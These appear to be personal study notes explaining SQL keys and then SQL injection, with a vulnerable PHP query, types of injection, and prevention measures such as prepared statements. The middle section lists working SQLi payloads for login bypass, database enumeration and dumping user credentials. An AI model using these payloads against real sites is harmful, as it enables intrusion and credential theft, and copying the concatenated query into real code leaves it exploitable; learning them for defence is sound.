Sunday, August 10, 2025 2:19 AM

1. What is SQL?

SQL (Structured Query Language) is a standard language used to **communicate with databases**. It allows you to:

- **Retrieve data** → SELECT
- **Insert data** → INSERT
- **Update data** → UPDATE
- **Delete data** → DELETE

Example:

SELECT name, email FROM users WHERE id = 1;
This retrieves the name and email of the user whose id is 1.

1. Primary Key (PK)

- **Uniquely identifies** each row in a table.
- Cannot have duplicate values.
- Cannot be NULL.

Example:

student_id (PK)	name	age
1	John	20
2	Alice	21

Here student_id is the **primary key** — no two students can have the same ID.

2. Foreign Key (FK)

- A column in one table that **links to the Primary Key** in another table.
- Used to create **relationships** between tables.

Example:

Table: Students

student_id (PK)	name
1	John
2	Alice

Table: Marks

mark_id	student_id (FK)	subject	marks
1	1	Math	85
2	1	English	90
3	2	Math	75

Here student_id in **Marks** table is a **foreign key** pointing to **student_id** in Students.

3. Candidate Key

- All columns that can **uniquely identify** rows in a table.
- A table can have multiple candidate keys, but only one becomes the **primary key**.

Example: In a **Users** table, both user_id and email are unique → both are candidate keys.

. What is SQL Injection?

SQL Injection (SQLi) is a **web application security vulnerability** that occurs when an attacker inserts **malicious SQL statements** into an application's query.

It happens when:

- User input is **directly concatenated** into a SQL query.
- The application **does not validate or sanitize** input.

Example of a vulnerable PHP code:

```
$username = $_GET['user'];
$query = "SELECT * FROM users WHERE username = '$username'";
```

If a hacker enters:

```
' OR '1'='1
```

The query becomes:

```
SELECT * FROM users WHERE username = '' OR '1'='1';
```

This always returns **true**, exposing all users.

How SQL Injection Works

1. **Application takes input** from user (form, URL, cookie, etc.).
2. **Input is embedded into a SQL query** without proper validation.
3. Attacker **injects SQL commands** to:
    - Bypass authentication
    - Extract, modify, or delete data
    - Sometimes take control of the database server

Types of SQL Injection

1. In-Band SQLi (direct data extraction)

- **Error-based SQLi** → Uses database error messages to extract data.

' AND 1=CONVERT(int, (SELECT @@version))--

- **Union-based SQLi** → Combines results from multiple queries.

  ' UNION SELECT null, version(), database() --

2. Blind SQLi (no direct error or data shown)

- **Boolean-based** → True/false tests.

  ' AND 1=1 -- (true, page loads normally)
  'AND 1=2 -- (false, page changes)

- **Time-based** → Delays using functions like SLEEP().

  ' OR IF(1=1, SLEEP(5), 0) --

Common SQL Injection Commands / Payloads
⚠️ For **educational & lab use only**.
Authentication Bypass:

' OR '1'='1 --
' OR 'a'='a --
admin' --

Select * from Accounts Where username= ' or 1=1 -- - AND password= admin

Extract Database Name:

' UNION SELECT null, database(), null --
List All Databases (MySQL):

' UNION SELECT schema_name, null, null FROM information_schema.schemata --
List Tables from Current DB:

' UNION SELECT table_name, null, null FROM information_schema.tables WHERE table_schema = database() --
Dump User Credentials:

' UNION SELECT username, password, null FROM users --
Time Delay (Blind):

' OR IF(1=1, SLEEP(5), 0) --

Prevention Measures

1. **Use Prepared Statements** (Parameterized Queries)
   cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
2. **Validate Input** (Allow only expected patterns).
3. **Escape Special Characters** (', ", ;, --).
4. **Use ORM Frameworks** (SQLAlchemy, Hibernate).
5. **Apply Least Privilege** to DB accounts.
6. **Hide Errors** from users, log them securely.
7. **Deploy WAF** to detect/block malicious queries.